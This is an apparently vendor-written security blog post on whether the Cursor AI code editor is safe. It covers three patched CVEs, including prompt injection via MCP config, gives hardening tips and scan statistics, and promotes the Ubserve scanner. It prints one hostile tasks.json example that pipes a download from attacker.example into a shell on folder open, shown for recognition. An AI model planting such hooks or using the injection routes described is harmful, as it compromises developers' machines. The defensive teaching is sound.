Is Cursor Safe? Three Patched CVEs, and the Bigger Risk in the Code It Writes
- Focus
- Cursor
- Risk
- Critical
- Stack
- Cursor
- Detection
- Ubserve Runtime Simulation

Cursor is safe to use if you keep it updated. It has patched three disclosed CVEs, two involving MCP config. The bigger risk is the code: 73.8% of AI-built apps we scanned had a high or critical finding.
There are two honest answers to whether Cursor is safe. The editor has had real, patched vulnerabilities, and you should know which version closes them. The code it writes is a larger and ongoing risk, and our scan data shows where it breaks.
Secure your vibe-coded app with Ubserve
- ✓Takes less than 60 seconds
- ✓100+ security checks run through your app
- ✓Plain English explanations for each issue
- ✓AI fix prompts for every issue
Cursor is safe to use if you keep it updated and review what it writes. It has patched three disclosed vulnerabilities, including a remote code execution flaw NVD rates 9.8, fixed in version 1.3.9. The larger, ongoing risk is the code it produces: 73.8% of the 1,141 AI-built apps we scanned had a high or critical finding.
Those are two different questions. This page answers both, the editor first because it is quicker to fix.
Quick disambiguation
If you arrived looking for cursor.cc, Custom Cursor, or whether a mouse-pointer app is safe, this is not that. Those are cursor-appearance tools, generally browser extensions or small desktop utilities, and they have nothing to do with the subject of this page. Evaluate them like any browser extension, with attention to the permissions they ask for.
This page is about Cursor, the AI code editor.
The editor: three disclosed vulnerabilities
Cursor is a fork of VS Code that sends parts of your codebase to model providers to generate completions and agent actions. It has had real, exploitable bugs, disclosed and fixed. NVD lists three:
| CVE | What it allowed | Affected | Fixed in | Score |
|---|---|---|---|---|
| CVE-2025-54135 | Creating a new dotfile needed no approval, so if .cursor/mcp.json did not exist, an indirect prompt injection could create it and run code |
Below 1.3.9 | 1.3.9 | NVD 9.8, GitHub 8.5 |
| CVE-2025-54136 | An attacker with write access could swap an already-approved MCP configuration for a malicious command, with no new prompt | 1.2.4 and below | 1.3 | NVD 8.8, GitHub 7.2 |
| CVE-2025-32018 | Under specific prompting, the agent could write files outside the opened workspace | 0.45.0 through 0.48.6 | 0.48.7 | GitHub 8.0 |
The first two were widely reported under the names CurXecute and MCPoison.
Two things are worth taking from that table.
Keep Cursor updated. Version 1.3.9 or later closes all three. If anyone on your team is on an older build, that is the single highest-value fix on this page.
Treat MCP configuration like executable code. Two of the three issues centred on the MCP settings file, because it controls which tools your agent can run. CVE-2025-54136 is the instructive one: the attack needed write access to a shared repository you had already trusted. A pull request that touches .cursor/mcp.json deserves the same scrutiny as one that changes a build script.
The third deserves an honest note rather than alarm. Its own advisory states it required deliberate prompting, made exploitation highly impractical in real-world scenarios, and showed the edited file in the interface for review. It was real and it was fixed, and it is not in the same class as the first two.
Harden the editor in fifteen minutes
Beyond updating, these settings and habits close most of the remaining editor-side risk:
- Review
.cursor/mcp.jsonin every repository for tool definitions you did not add. - Check
.vscode/tasks.jsonbefore opening an unfamiliar repository. A task configured to run when a folder opens can execute before you have read any code. Keep Workspace Trust enabled so untrusted folders do not run tasks automatically. - Never paste secrets into chat. A key pasted into agent context can resurface in generated code, suggestions and logs. Rotate any key that has touched a chat session.
- Keep secrets out of the repository entirely. If a key only exists in your deployment platform's environment settings, no assistant, log or bundle can carry it.
- Use an ignore file to exclude sensitive paths from indexing, the same way
.gitignorekeeps them out of commits. - Verify every package the agent installs. Models sometimes suggest plausible package names that do not exist, and those names are exactly what attackers register.
Here is what a hostile task file looks like, so you recognise one:
{
"version": "2.0.0",
"tasks": [{
"label": "setup",
"type": "shell",
"command": "curl https://attacker.example/payload | sh",
"runOptions": { "runOn": "folderOpen" }
}]
}
MCP servers you add yourself
Every MCP server you connect runs with your permissions. It can read what your agent reads and, depending on the tools it exposes, run commands or call services on your behalf. Treat adding one like installing a dependency that has shell access.
Prefer servers published by the vendor whose service they connect to. Read the command the configuration actually executes, rather than trusting the server's name. Pin versions where the server supports it, and remove servers you have stopped using, because an unused server is still a running permission. A shared repository that ships its own .cursor/mcp.json is asking you to trust whoever last edited that file, which is precisely the situation CVE-2025-54136 exploited.
That is the editor handled to the extent you control it. The rest of this page is about the part with data behind it.
What AI-built apps actually look like when scanned
These numbers come from Ubserve's production scan history: 1,889 scans across 1,141 distinct apps, using the most recent scan of each. We cannot attribute a scan to the editor that produced the code, so treat this as the shape of AI-built applications in general rather than a Cursor-specific score.
| Finding | Apps affected |
|---|---|
| At least one high or critical finding | 73.8% |
| Missing at least one security header | 70.1% |
| No rate limiting observed | 52.7% |
| Auth page cacheable | 36.3% |
| Wildcard CORS origin | 31.0% |
| Supabase anon key in frontend | 10.3% |
| JWT stored in browser storage | 6.9% |
| At least one critical finding | 3.7% |
And the one that matters most, from the subset where we could test the database: of 117 apps using Supabase, 64 had at least one table a logged-out visitor could read.
Why AI-written code fails this way
It is not that the model does not know about security. Ask it directly and it will write a correct Row Level Security policy or a valid CSP header.
The problem is what it optimises for, which is code that runs. Those two goals diverge in exactly one place, and it happens to be the most dangerous one.
Authorization is invisible to the person testing. You build a feature while logged in as yourself, and you can see your data. The feature works. Nothing in that loop tests whether a different user can also see your data, because you never log in as them. A check that says "is this person signed in" passes your test identically to one that says "does this record belong to this person". The first is a breach and the second is correct, and the working app looks the same either way.
The second-order effects follow from the same cause. A generated API route rarely includes rate limiting, because rate limiting is invisible when you call the endpoint twice. Headers are absent because nothing breaks without them. CORS is set to * because a narrower value causes an error during development and the widest value makes the error go away.
The recurring pattern: authentication without ownership
This is the shape we see most in Cursor-assisted codebases. A generated helper centralises access to make auth easy, and quietly trusts an id the client sent:
export async function updateWorkspace(input: { workspaceId: string; name: string }) {
const session = await getSession();
if (!session) throw new Error("Unauthorized");
// Any signed-in user can rename any workspace by id.
return db.workspace.update({
where: { id: input.workspaceId },
data: { name: input.name },
});
}
It checks authentication. It does not check ownership. The fix puts the owner into the query itself, so a request for someone else's workspace matches nothing:
export async function updateWorkspace(input: { workspaceId: string; name: string }) {
const session = await getSession();
if (!session) throw new Error("Unauthorized");
return db.workspace.update({
where: { id: input.workspaceId, ownerId: session.userId },
data: { name: input.name },
});
}
It gets worse across a larger agent session. One prompt that refactors four files can remove this check from three of them and leave the fourth intact, and every test still passes, because the tests never covered the wrong-user case in the first place. Re-check authorization after every agent refactor that touches auth, middleware, server actions or mutations. Windsurf's Cascade agent produces the same regression across even more files, which our Windsurf security checklist walks through.
How to review an agent's diff before you merge it
Most of the risk in a Cursor-built app enters in a single merge, so review is where it is cheapest to stop. You do not need to read every line. Read the lines that decide who can do what:
- Every file under auth, middleware or session handling. Compare before and after. A removed expiry check, redirect or role comparison is the most common silent regression.
- Every database query that takes an id from the request. Confirm the query also constrains the owner, as in the example above.
- Every server action and API route. Each needs its own session check. A shared helper is fine only if every route still calls it.
- Error handling around auth. A
catchblock that logs the error and carries on turns a failed check into a passed one. - Every new dependency in
package.json. Confirm the package exists, is the one you meant, and is actively maintained. - Anything under
.cursor/or.vscode/. Configuration that runs tools or tasks is code, whoever wrote it. - Environment variable names. A new
NEXT_PUBLIC_orVITE_prefix on a secret sends it to every visitor's browser.
If a diff is too large to review this way, that is the signal to ask the agent for smaller changes, not to merge it anyway.
The five checks that catch most of it
Run these against a Cursor-built app before it takes real users. Each takes under a minute.
1. Can a stranger read your data? If you use Supabase, take the anon key out of your own bundle and query a table with no session:
curl "https://YOUR-PROJECT.supabase.co/rest/v1/profiles?select=*&limit=5" \
-H "apikey: YOUR_ANON_KEY"
Rows coming back means anyone can read that table. Is Supabase safe covers the policy fixes and the tables we find open most often, and why Supabase RLS stops working covers the errors you hit while applying them.
2. Can user A read user B's record? Log in as one account, capture a request your app makes for a record, change the id to another user's, and replay it. This finds what testing as yourself never will.
3. What does CORS say?
curl -s -I -H "Origin: https://attacker.example" https://your-app.com/api/me \
| grep -i "access-control-allow"
A wildcard, or your attacker origin echoed back alongside access-control-allow-credentials: true, needs fixing. On Vercel-hosted apps we found a wildcard origin 79.6% of the time.
4. Is anything secret in the bundle? Open DevTools and search loaded JavaScript for sk_, service_role and eyJ. Anything that matches is public permanently and needs rotating, and our guide on what to do when an API key is exposed has the order of operations.
5. Headers?
curl -s -I https://your-app.com | grep -iE "content-security-policy|strict-transport-security|x-content-type-options"
Prompting for the secure version
Since the model writes what you ask for, ask for the thing that is missing. Generic requests to "make it secure" produce generic output. Specific ones work:
- "Write the RLS policy so a user can only select rows where
user_idequalsauth.uid(), and add aWITH CHECKclause on the update policy." - "Add rate limiting to this route handler, keyed on IP, allowing 5 requests per minute."
- "This endpoint must verify the session owns the requested resource, not just that a session exists. Show me the check."
The third one is the whole game. Reviewing generated code with the single question "does this verify ownership, or only authentication" catches the majority of what we find.
If you are the founder, not the developer
If someone else is building your app in Cursor, whether that is a contractor or you working through prompts you do not fully read, you can still hold the line on the part that matters.
Ask one question about every feature that shows or changes user data: "What stops a different logged-in user from doing this to my account?" If the answer is "they would need to be logged in", that describes authentication, and it is not an answer. The answer you want names the specific check that compares the record to the person asking for it.
Then run checks 1 and 2 above yourself. They need no access to the code, only two test accounts and your browser, and they find the failure that matters most in our data.
So is Cursor safe for your project?
- Learning, prototypes, internal tools? Yes. Keep it updated.
- A product with real users and a database? The editor is fine on a current version. The output needs the five checks above before launch, every time, because the failure is silent by construction.
- Shared or open-source repositories? Review MCP and task configuration in every pull request, since that is where both serious CVEs lived.
- A codebase with strict confidentiality requirements? Read Cursor's own security documentation directly and decide for yourself, and keep secrets out of the repository regardless.
- Regulated data? The controls that matter are authorization, audit and retention in your application. No editor setting substitutes for them.
If you are still choosing an editor, Cursor vs Claude Code and Windsurf vs Cursor compare the security gap each one leaves.
The verdict
Cursor has had three real vulnerabilities and fixed all three, which is a better record than silence would be. Update past 1.3.9, treat MCP configuration as code, and the editor stops being your main risk.
The code is where the risk lives. Cursor is very good at producing an application that works, and working and safe are the same thing right up until someone who is not you sends a request. That is the exact case nobody tests. Before launch, run the pre-deploy security checklist, and what Ubserve checks for lists everything behind the numbers on this page.
About the author

I'm Samuel, known online as Mr. Ballaz. I build Ubserve, a security scanner for apps built with AI tools like Cursor, Bolt, Lovable, and Supabase. Before Ubserve, I did manual security audits by hand — checking auth, exposed keys, and RLS policies one by one. Ubserve is that manual audit, automated, running in under 60 seconds instead of days.
Related resources
FAQs
Is Cursor safe to use?+
What vulnerabilities has Cursor had?+
Is the code Cursor writes secure?+
Is cursor.cc safe? Is Custom Cursor safe?+
Turn this resource into a real security check.
Review the guidance, then run the free scan to see whether this issue is actually exploitable in your app, no signup required.



